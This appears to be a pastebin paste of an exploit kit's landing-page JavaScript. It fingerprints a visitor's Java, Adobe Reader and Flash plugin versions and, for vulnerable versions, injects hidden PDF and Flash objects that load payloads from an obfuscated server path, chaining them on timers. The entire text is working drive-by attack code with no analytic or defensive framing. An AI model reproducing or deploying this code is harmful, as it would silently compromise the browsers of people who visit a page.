  1827.     d.innerHTML = "<object data=\"/horrible/wine_meets.php?ooqe=" + x("75f1a") + "&ycrtzv=" + x("hdf") + "&yyksrbs=1j:32:1g:31:1f:1g:1l:1m:30:30&qikepuhm=" + x(pdfver.join(".")) + "\" type=\"application/pdf\"><embed src=\"/horrible/wine_meets.php?ooqe=" + x("75f1a") + "&ycrtzv=" + x("hdf") + "&yyksrbs=1j:32:1g:31:1f:1g:1l:1m:30:30&qikepuhm=" + x(pdfver.join(".")) + "\" type=\"application/pdf\" /></object>";
  1828.     document.body.appendChild(d);
  1829. }
  1830.  
  1831. function p2() {
  1832.     var d = document.createElement("div");
  1833.     d.innerHTML = "<object data=\"/horrible/wine_meets.php?jgmop=" + x("75f1a") + "&jmuers=" + x("l") + "&qena=1j:32:1g:31:1f:1g:1l:1m:30:30&qwcew=" + x(pdfver.join(".")) + "\" type=\"application/pdf\"><embed src=\"/horrible/wine_meets.php?jgmop=" + x("75f1a") + "&jmuers=" + x("l") + "&qena=1j:32:1g:31:1f:1g:1l:1m:30:30&qwcew=" + x(pdfver.join(".")) + "\" type=\"application/pdf\" /></object>";
  1834.     document.body.appendChild(d);
  1835. }
  1836.  
  1837. function f1() {
  1838.     var oSpan = document.createElement("span");
  1839.     document.body.appendChild(oSpan);
  1840.     var url = "/horrible/wine_meets.php?ltgsklxm=" + x("75f1a") + "&ompgo=" + x("niyzci") + "&qfckdb=1j:32:1g:31:1f:1g:1l:1m:30:30&info=02e6b1525353caa8adb549cbae49304eabb1b1abb5b25550b036b033af55b5b631f7b537375753ac51b252ca3556b1cf4f7e7a05b26a07";
  1841.     oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
  1842. }
  1843.  
  1844. function ff2() {
  1845.     return false;
  1846. }
  1847. document.write('');
  1848. setTimeout(end_redirect, 61000);
  1849. var pdfver = [];
  1850.  
  1851. function svwrbew6436b($) {
  1852.     var ar = [];
  1853.     var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1854.     if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
  1855.         ar["push"](j2);
  1856.     } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) {
  1857.         ar["push"](j1);
  1858.     }
  1859.     pdfver = PluginDetect.getVersion("AdobeReader");
  1860.     if (window.document) if (typeof pdfver == "string") {
  1861.         pdfver = pdfver["split"](".")
  1862.     } else {
  1863.         pdfver = [0, 0, 0, 0]
  1864.     }
  1865.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  1866.         if (window.document) ar["push"](p1);
  1867.     }
  1868.     if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
  1869.         ar["push"](p2);
  1870.     }
  1871.     var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1872.     if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
  1873.         ar["push"](ff2);
  1874.     }
  1875.     if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
  1876.         ar["push"](f1);
  1877.     }
  1878.     var arcalli = 0;
  1879.     var arcall = function () {
  1880.         if (ar.length <= arcalli) return 123;
  1881.         ss = setTimeout;
  1882.         var res = ar[arcalli]();
  1883.         arcalli++;
  1884.         if (res && window.document) {
  1885.             ss(function () {
  1886.                 arcall()
  1887.             }, 5509);
  1888.         } else {
  1889.             arcall();
  1890.         }
  1891.     };
  1892.     arcall();
  1893. }
  1894. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../legs/getJavaInfo.jar");
clone this paste RAW Paste Data